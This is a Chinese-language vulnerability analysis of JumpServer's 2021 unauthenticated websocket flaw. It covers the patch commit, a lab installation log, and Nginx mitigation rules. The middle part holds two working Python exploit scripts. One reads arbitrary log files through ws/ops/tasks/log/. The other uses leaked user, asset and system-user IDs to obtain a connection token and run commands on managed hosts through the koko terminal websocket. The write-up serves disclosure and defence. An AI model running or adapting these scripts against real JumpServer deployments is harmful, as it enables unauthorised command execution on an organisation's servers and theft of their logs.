JumpServer是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。
2021年1月15日,JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。
影响版本:
看修复代码的commit记录:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e
发现是给CeleryLogWebsocket类的connect加上了身份认证。
import time import os import threading import json from common.utils import get_logger from .celery.utils import get_celery_task_log_path from .ansible.utils import get_ansible_task_log_path from channels.generic.websocket import JsonWebsocketConsumer logger = get_logger(__name__) class TaskLogWebsocket(JsonWebsocketConsumer): disconnected = False log_types = { 'celery': get_celery_task_log_path, 'ansible': get_ansible_task_log_path } def connect(self): user = self.scope["user"] if user.is_authenticated and user.is_org_admin: self.accept() else: self.close() def get_log_path(self, task_id): func = self.log_types.get(self.log_type) if func: return func(task_id) def receive(self, text_data=None, bytes_data=None, **kwargs): data = json.loads(text_data) task_id = data.get('task') self.log_type = data.get('type', 'celery') if task_id: self.handle_task(task_id) def wait_util_log_path_exist(self, task_id): log_path = self.get_log_path(task_id) while not self.disconnected: if not os.path.exists(log_path): self.send_json({'message': '.', 'task': task_id}) time.sleep(0.5) continue self.send_json({'message': '\r\n'}) try: logger.debug('Task log path: {}'.format(log_path)) task_log_f = open(log_path, 'rb') return task_log_f except OSError: return None def read_log_file(self, task_id): task_log_f = self.wait_util_log_path_exist(task_id) if not task_log_f: logger.debug('Task log file is None: {}'.format(task_id)) return task_end_mark = [] while not self.disconnected: data = task_log_f.read(4096) if data: data = data.replace(b'\n', b'\r\n') self.send_json( {'message': data.decode(errors='ignore'), 'task': task_id} ) if data.find(b'succeeded in') != -1: task_end_mark.append(1) if data.find(bytes(task_id, 'utf8')) != -1: task_end_mark.append(1) elif len(task_end_mark) == 2: logger.debug('Task log end: {}'.format(task_id)) break time.sleep(0.2) task_log_f.close() def handle_task(self, task_id): logger.info("Task id: {}".format(task_id)) thread = threading.Thread(target=self.read_log_file, args=(task_id,)) thread.start() def disconnect(self, close_code): self.disconnected = True self.close()
查看这个类的http接口:
通过这个类可以知道,这个接口的访问链为:
访问ws/ops/tasks/log/ --> 进入TaskLogWebsocket类的receive函数 --> 进入TaskLogWebsocket类的handle_task函数 --> 进入TaskLogWebsocket类的read_log_file函数 --> 进入TaskLogWebsocket类的wait_util_log_path_exist函数 --> 进入TaskLogWebsocket类的read_log_file函数 --> 进入app/ops/utls.py中的get_task_log_path函数
taskid是从我们发送的text_data中解析出来的,所以是可控的,通过下面的方式我们可以读取日志文件/opt/jumpserver/logs/jumpserver.log。
向ws://10.10.10.10:8080/ws/ops/tasks/log/发送 {"task":"/opt/jumpserver/logs/jumpserver"}
以上就是文件读取的原理,读取日志文件有如下限制:
下面分析如何实现远程代码执行。
通过读取/opt/jumpserver/logs/gunicorn.log,运气好的话,可以读取到用户uid,系统用户uid,和资产id:
上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/ 接口,可以进去/apps/authentication/api/UserConnectionTokenApi
通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty:
https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342 --> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167
具体代码如下:
总结完整的rce利用步骤为:
安装步骤:
# 下载 git clone https://github.com/jumpserver/installer.git cd installer # 国内docker源加速 export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn # 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系) sudo su ./jmsctl.sh install ./jmsctl.sh upgrade v2.6.1 # 启动 ./jmsctl.sh restart
完整日志
# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127 $ git clone https://github.com/jumpserver/installer.git 正克隆到 'installer'... remote: Enumerating objects: 467, done. remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467 接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成. 处理 delta 中: 100% (305/305), 完成. # yanq @ yanq-desk in ~/gitrepo [22:20:27] $ cd installer # yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30] $ ls compose config-example.txt config_init jmsctl.sh README.md scripts static.env utils # yanq @ yanq-desk in ~/gitrepo [22:18:59] $ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn # yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130 $ sudo su [email protected]:/home/yanq/github/installer# ./jmsctl.sh install ██╗██╗ ██╗███╗ ███╗██████╗ ███████╗███████╗██████╗ ██╗ ██╗███████╗██████╗ ██║██║ ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔════╝██╔══██╗ ██║██║ ██║██╔████╔██║██████╔╝███████╗█████╗ ██████╔╝██║ ██║█████╗ ██████╔╝ ██ ██║██║ ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██╔══╝ ██╔══██╗ ╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║ ███████║███████╗██║ ██║ ╚████╔╝ ███████╗██║ ██║ ╚════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ Version: dev >>> 一、配置JumpServer 1. 检查配置文件 各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致 配置文件位置: /opt/jumpserver/config/config.txt 完成 2. 配置 Nginx 证书 证书位置在: /opt/jumpserver/config/nginx/cert 完成 3. 备份配置文件 备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52 完成 4. 配置网络 需要支持 IPv6 吗? (y/n) (默认为n): n 完成 5. 自动生成加密密钥 完成 6. 配置持久化目录 修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver 注意: 安装完后不能再更改, 否则数据库可能丢失 文件系统 容量 已用 可用 已用% 挂载点 udev 7.3G 0 7.3G 0% /dev /dev/nvme0n1p2 468G 200G 245G 45% / /dev/loop1 56M 56M 0 100% /snap/core18/1944 /dev/loop2 65M 65M 0 100% /snap/gtk-common-themes/1513 /dev/loop3 218M 218M 0 100% /snap/gnome-3-34-1804/60 /dev/loop0 56M 56M 0 100% /snap/core18/1932 /dev/loop5 32M 32M 0 100% /snap/snapd/10492 /dev/loop6 65M 65M 0 100% /snap/gtk-common-themes/1514 /dev/loop4 52M 52M 0 100% /snap/snap-store/498 /dev/loop7 52M 52M 0 100% /snap/snap-store/518 /dev/loop8 219M 219M 0 100% /snap/gnome-3-34-1804/66 /dev/loop9 32M 32M 0 100% /snap/snapd/10707 /dev/nvme0n1p1 511M 7.8M 504M 2% /boot/efi 设置持久化卷存储目录 (默认为/opt/jumpserver): 完成 7. 配置MySQL 是否使用外部mysql (y/n) (默认为n): n 完成 8. 配置Redis 是否使用外部redis (y/n) (默认为n): n 完成 >>> 二、安装配置Docker 1. 安装Docker 开始下载 Docker 程序 ... --2021-01-17 22:04:12-- https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz 正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ... 正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度: 43834194 (42M) [application/x-tar] 正在保存至: “/tmp/docker.tar.gz” /tmp/docker.tar.gz 100%[===========================================================================================================================================>] 41.80M 13.8MB/s 用时 3.0s 2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194]) 开始下载 Docker compose 程序 ... --2021-01-17 22:04:17-- https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15 正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。 已发出 HTTP 请求,正在等待回应... 302 FOUND 位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL] --2021-01-17 22:04:28-- https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ... 正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度: 12218968 (12M) [application/x-executable] 正在保存至: “/tmp/docker-compose” /tmp/docker-compose 100%[===========================================================================================================================================>] 11.65M 8.43MB/s 用时 1.4s 2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968]) 已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n) (默认为n): n 完成 2. 配置Docker 修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 并创建目录,如 /opt/docker 文件系统 容量 已用 可用 已用% 挂载点 udev 7.3G 0 7.3G 0% /dev /dev/nvme0n1p2 468G 200G 245G 45% / /dev/loop1 56M 56M 0 100% /snap/core18/1944 /dev/loop2 65M 65M 0 100% /snap/gtk-common-themes/1513 /dev/loop3 218M 218M 0 100% /snap/gnome-3-34-1804/60 /dev/loop0 56M 56M 0 100% /snap/core18/1932 /dev/loop5 32M 32M 0 100% /snap/snapd/10492 /dev/loop6 65M 65M 0 100% /snap/gtk-common-themes/1514 /dev/loop4 52M 52M 0 100% /snap/snap-store/498 /dev/loop7 52M 52M 0 100% /snap/snap-store/518 /dev/loop8 219M 219M 0 100% /snap/gnome-3-34-1804/66 /dev/loop9 32M 32M 0 100% /snap/snapd/10707 /dev/nvme0n1p1 511M 7.8M 504M 2% /boot/efi Docker存储目录 (默认为/opt/docker): 完成 3. 启动Docker Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n) (默认为y): y 完成 >>> 三、加载镜像 [jumpserver/redis:6-alpine] 6-alpine: Pulling from jumpserver/redis 05e7bc50f07f: Pull complete 14c9d57a1c7f: Pull complete ccd033d7ec06: Pull complete 6ff79b059f99: Pull complete d91237314b77: Pull complete c47d41ba6aa8: Pull complete Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18 Status: Downloaded newer image for jumpserver/redis:6-alpine docker.io/jumpserver/redis:6-alpine [jumpserver/mysql:5] 5: Pulling from jumpserver/mysql 6ec7b7d162b2: Pull complete fedd960d3481: Pull complete 7ab947313861: Pull complete 64f92f19e638: Pull complete 3e80b17bff96: Pull complete 014e976799f9: Pull complete 59ae84fee1b3: Pull complete 7d1da2a18e2e: Pull complete 301a28b700b9: Pull complete 979b389fc71f: Pull complete 403f729b1bad: Pull complete Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd Status: Downloaded newer image for jumpserver/mysql:5 docker.io/jumpserver/mysql:5 [jumpserver/nginx:alpine2] alpine2: Pulling from jumpserver/nginx c87736221ed0: Pull complete 6ff0ab02fe54: Pull complete e5b318df7728: Pull complete b7a5a4fe8726: Pull complete Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112 Status: Downloaded newer image for jumpserver/nginx:alpine2 docker.io/jumpserver/nginx:alpine2 [jumpserver/luna:dev] dev: Pulling from jumpserver/luna 801bfaa63ef2: Pull complete b1242e25d284: Pull complete 7453d3e6b909: Pull complete 07ce7418c4f8: Pull complete e295e0624aa3: Pull complete d373a40639dd: Pull complete 565ad7a883c2: Pull complete Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874 Status: Downloaded newer image for jumpserver/luna:dev docker.io/jumpserver/luna:dev [jumpserver/core:dev] dev: Pulling from jumpserver/core 6ec7b7d162b2: Already exists 80ff6536d04b: Pull complete 2d04da85e485: Pull complete 998aa32a5c8a: Pull complete 7733ef26f344: Pull complete a3fc2d00adff: Pull complete 0fceca9bd0c9: Pull complete 6fd88063e2c9: Pull complete 6b761cc0db94: Pull complete 25d46cb4551e: Pull complete 6da27e4adc2b: Pull complete e521a634bfca: Pull complete 90d95c158108: Pull complete Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c Status: Downloaded newer image for jumpserver/core:dev docker.io/jumpserver/core:dev [jumpserver/koko:dev] dev: Pulling from jumpserver/koko 6d28e14ab8c8: Pulling fs layer 1473f8a0a4e1: Pulling fs layer 683341f9f103: Pull complete 631f019c17de: Pull complete f3a995ef2b4b: Pull complete c091dc645c6f: Pull complete 4e858775bdf0: Pull complete fa772130cab7: Pull complete a0f79afbde1c: Pull complete fdaf81979833: Pull complete 8d4986e114f0: Pull complete eeb197dd15a0: Pull complete 271cd9c942c6: Pull complete fc8bb9405f48: Pull complete 06a07acf5be2: Pull complete Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1 Status: Downloaded newer image for jumpserver/koko:dev docker.io/jumpserver/koko:dev [jumpserver/guacamole:dev] dev: Pulling from jumpserver/guacamole 6c33745f49b4: Pulling fs layer ef072fc32a84: Pulling fs layer c0afb8e68e0b: Pulling fs layer d599c07d28e6: Pulling fs layer e8a829023b97: Waiting 2709df21cc5c: Waiting 3bfb431a8cf5: Waiting bb9822eef866: Waiting 5842bda2007b: Pulling fs layer 453a23f25fcb: Waiting c856ffeae983: Waiting c51581693e31: Pull complete 0809345a90d0: Pull complete 0ba7229a2102: Pull complete bf692785c490: Pull complete 9d6086f6248b: Pull complete 86c187652ab5: Pull complete 07f50f434b4b: Pull complete 9173a0544d33: Pull complete 78884a472184: Pull complete 940cbfe07a44: Pull complete f322e824f1f5: Pull complete 02228eb4be13: Pull complete dfe141bc6b7b: Pull complete Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3 Status: Downloaded newer image for jumpserver/guacamole:dev docker.io/jumpserver/guacamole:dev [jumpserver/lina:dev] dev: Pulling from jumpserver/lina 801bfaa63ef2: Already exists b1242e25d284: Already exists 7453d3e6b909: Already exists 07ce7418c4f8: Already exists e295e0624aa3: Already exists b1e2e4ef9246: Pull complete cf63647ff370: Pull complete Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038 Status: Downloaded newer image for jumpserver/lina:dev docker.io/jumpserver/lina:dev >>> 四、安装完成了 1. 可以使用如下命令启动, 然后访问 ./jmsctl.sh start 2. 其它一些管理命令 ./jmsctl.sh stop ./jmsctl.sh restart ./jmsctl.sh backup ./jmsctl.sh upgrade 更多还有一些命令,你可以 ./jmsctl.sh --help来了解 3. 访问 Web 后台页面 http://192.168.1.7:8080 https://192.168.1.7:8443 4. ssh/sftp 访问 ssh [email protected] -p2222 sftp -P2222 [email protected] 5. 更多信息 我们的文档: https://docs.jumpserver.org/ 我们的官网: https://www.jumpserver.org/ [email protected]:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1 你确定要升级到 v2.6.1 版本吗? (y/n) (默认为n): y 1. 检查配置变更 完成 2. 检查程序文件变更 已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n) (默认为n): 完成 3. 升级镜像文件 [jumpserver/redis:6-alpine] 6-alpine: Pulling from jumpserver/redis Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18 Status: Image is up to date for jumpserver/redis:6-alpine docker.io/jumpserver/redis:6-alpine [jumpserver/mysql:5] 5: Pulling from jumpserver/mysql Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd Status: Image is up to date for jumpserver/mysql:5 docker.io/jumpserver/mysql:5 [jumpserver/nginx:alpine2] alpine2: Pulling from jumpserver/nginx Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112 Status: Image is up to date for jumpserver/nginx:alpine2 docker.io/jumpserver/nginx:alpine2 [jumpserver/luna:v2.6.1] v2.6.1: Pulling from jumpserver/luna 801bfaa63ef2: Already exists b1242e25d284: Already exists 7453d3e6b909: Already exists 07ce7418c4f8: Already exists e295e0624aa3: Already exists 9aa19406fcc2: Pull complete b88c1894aa70: Pull complete Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4 Status: Downloaded newer image for jumpserver/luna:v2.6.1 docker.io/jumpserver/luna:v2.6.1 [jumpserver/core:v2.6.1] v2.6.1: Pulling from jumpserver/core 852e50cd189d: Pull complete 334ed303e4ad: Pull complete a687a65725ea: Pull complete fe607cb30fbe: Pull complete af3dd7a5d357: Pull complete 5ed087772967: Pull complete de88310b192c: Pull complete 3f3c40cb5584: Pull complete a616053790d8: Pull complete f78e4ffd4b11: Pull complete 681df5236765: Pull complete 6feeeb96a348: Pull complete 8b170624587e: Pull complete Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b Status: Downloaded newer image for jumpserver/core:v2.6.1 docker.io/jumpserver/core:v2.6.1 [jumpserver/koko:v2.6.1] v2.6.1: Pulling from jumpserver/koko 6d28e14ab8c8: Already exists c4b1524d2f75: Pulling fs layer 8522e19e2998: Pull complete 106d5adca780: Pull complete e649208988b3: Pull complete fd02488ce54c: Pull complete 8566396c9588: Pull complete 5c3ae6b36882: Pull complete cb4e3aeda111: Pull complete 3bc46e9d6be9: Pull complete 919620ef3747: Pull complete 3998a9375e49: Pull complete 5869987766aa: Pull complete 9fd39a172e25: Pull complete f60bfb937cc4: Pull complete Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496 Status: Downloaded newer image for jumpserver/koko:v2.6.1 docker.io/jumpserver/koko:v2.6.1 [jumpserver/guacamole:v2.6.1] v2.6.1: Pulling from jumpserver/guacamole c5e155d5a1d1: Pulling fs layer 221d80d00ae9: Pulling fs layer 4250b3117dca: Pulling fs layer d1370422ab93: Pulling fs layer deb6b03222ca: Pulling fs layer 9cdea8d70cc3: Pulling fs layer 968505be14db: Pulling fs layer 04b5c270ac81: Pulling fs layer 301d76fcab1f: Pulling fs layer f4d49608235a: Pulling fs layer f4c6404fd6f8: Pulling fs layer 73ac8e900d64: Pulling fs layer eec0a1010dfa: Pull complete 199219e1bcf7: Pull complete 54d3328751a0: Pull complete 68412973433c: Pull complete b45d84968434: Pull complete 9569df8016cc: Pull complete 642448bde40a: Pull complete e788dd92de90: Pull complete 223eaf2bd9f6: Pull complete b68966fc02ad: Pull complete cf0eb6b2e415: Pull complete 0b78188a975b: Pull complete 704b69b91dcb: Pull complete Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb Status: Downloaded newer image for jumpserver/guacamole:v2.6.1 docker.io/jumpserver/guacamole:v2.6.1 [jumpserver/lina:v2.6.1] v2.6.1: Pulling from jumpserver/lina 801bfaa63ef2: Already exists b1242e25d284: Already exists 7453d3e6b909: Already exists 07ce7418c4f8: Already exists e295e0624aa3: Already exists 2ec572beb6c1: Pull complete c7d22dce32ca: Pull complete Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a Status: Downloaded newer image for jumpserver/lina:v2.6.1 docker.io/jumpserver/lina:v2.6.1 完成 4. 备份数据库 正在备份... mysqldump: [Warning] Using a password on the command line interface can be insecure. 备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz 5. 进行数据库变更 表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行) 2021-01-17 22:28:03 Collect static files 2021-01-17 22:28:03 Collect static files done 2021-01-17 22:28:03 Check database structure change ... 2021-01-17 22:28:03 Migrate model change to database ... 472 static files copied to '/opt/jumpserver/data/static'. Operations to perform: Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users Running migrations: No migrations to apply. 完成 6. 升级成功, 可以重启程序了 ./jmsctl.sh restart [email protected]:/home/yanq/github/installer# ./jmsctl.sh restart Stopping jms_core ... done Stopping jms_koko ... done Stopping jms_guacamole ... done Stopping jms_lina ... done Stopping jms_luna ... done Stopping jms_nginx ... done Stopping jms_celery ... done Removing jms_core ... done Removing jms_koko ... done Removing jms_guacamole ... done Removing jms_lina ... done Removing jms_luna ... done Removing jms_nginx ... done Removing jms_celery ... done WARNING: The HOSTNAME variable is not set. Defaulting to a blank string. jms_mysql is up-to-date jms_redis is up-to-date Creating jms_core ... done Creating jms_lina ... done Creating jms_guacamole ... done Creating jms_koko ... done Creating jms_celery ... done Creating jms_luna ... done Creating jms_nginx ... done
可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn
下面用代码测试:
import asyncio import re import websockets import json url = "/ws/ops/tasks/log/" async def main_logic(t): print("#######start ws") async with websockets.connect(t) as client: await client.send(json.dumps({"task": "//opt/jumpserver/logs/jumpserver"})) while True: ret = json.loads(await client.recv()) print(ret["message"], end="") if __name__ == "__main__": host = "http://192.168.1.7:8080" target = host.replace("https://", "wss://").replace("http://", "ws://") + url print("target: %s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(target))
这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。
搭建的漏洞环境中有如下日志可以读:
[email protected]:/opt/jumpserver/core/logs# ls -la 总用量 248 drwxr-xr-x 3 root root 4096 1月 17 23:59 . drwxr-xr-x 4 root root 4096 1月 17 22:17 .. drwxr-xr-x 2 root root 4096 1月 17 23:59 2021-01-17 -rw-r--r-- 1 root root 0 1月 17 22:17 ansible.log -rw-r--r-- 1 root root 2978 1月 18 01:51 beat.log -rw-r--r-- 1 root root 3122 1月 18 01:51 celery_ansible.log -rw-r--r-- 1 root root 978 1月 18 01:51 celery_check_asset_perm_expired.log -rw-r--r-- 1 root root 4332 1月 18 01:51 celery_default.log -rw-r--r-- 1 root root 0 1月 17 23:59 celery_heavy_tasks.log -rw-r--r-- 1 root root 4604 1月 18 01:51 celery_node_tree.log -rw-r--r-- 1 root root 1919 1月 18 01:50 daphne.log -rw-r--r-- 1 root root 1359 1月 17 22:18 drf_exception.log -rw-r--r-- 1 root root 0 1月 17 23:59 flower.log -rw-r--r-- 1 root root 191941 1月 18 01:52 gunicorn.log -rw-r--r-- 1 root root 7470 1月 18 01:51 jumpserver.log -rw-r--r-- 1 root root 0 1月 17 22:17 unexpected_exception.log
比如读取gunicorn.log:
除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了)
向ws://192.168.1.73:8080/ws/ops/tasks/log/发送 {"task":"33xxxxx"}
需要在jumpserver中添加一台主机,并且用户登录web terminal。
登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)
如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。
通过以下脚本进行远程命令执行利用
import asyncio import websockets import requests import json url = "/api/v1/authentication/connection-token/?user-only=None" # 向服务器端发送认证后的消息 async def send_msg(websocket,_text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) recv_text = await websocket.recv() print(f"{recv_text}") # 客户端主逻辑 async def main_logic(cmd): print("#######start ws") async with websockets.connect(target) as websocket: recv_text = await websocket.recv() print(f"{recv_text}") resws=json.loads(recv_text) id = resws['id'] print("get ws id:"+id) print("###############") print("init ws") print("###############") inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"}) await send_msg(websocket,inittext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print("###############") print("exec cmd: ls") cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}) print(cmdtext) await send_msg(websocket, cmdtext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print('#######finish') if __name__ == '__main__': host = "http://192.168.1.7:8080" cmd="whoami" if host[-1]=='/': host=host[:-1] print(host) data = {"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471", "system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"} print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(cmd))
以下根据官方文档:
修改 Nginx 配置文件屏蔽漏洞接口
/api/v1/authentication/connection-token/ /api/v1/users/connection-token/
Nginx 配置文件位置
# 社区老版本 /etc/nginx/conf.d/jumpserver.conf # 企业老版本 jumpserver-release/nginx/http_server.conf # 新版本在 jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
# 保证在 /api 之前 和 / 之前 location /api/v1/authentication/connection-token/ { return 403; } location /api/v1/users/connection-token/ { return 403; } # 新增以上这些 location /api/ { proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://core:8080; } ...
修改完成后重启 nginx
docker方式: docker restart jms_nginx nginx方式: systemctl restart nginx
修复验证
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh # 使用方法 bash jms_bug_check.sh HOST $ bash jms_bug_check.sh demo.jumpserver.org 漏洞已修复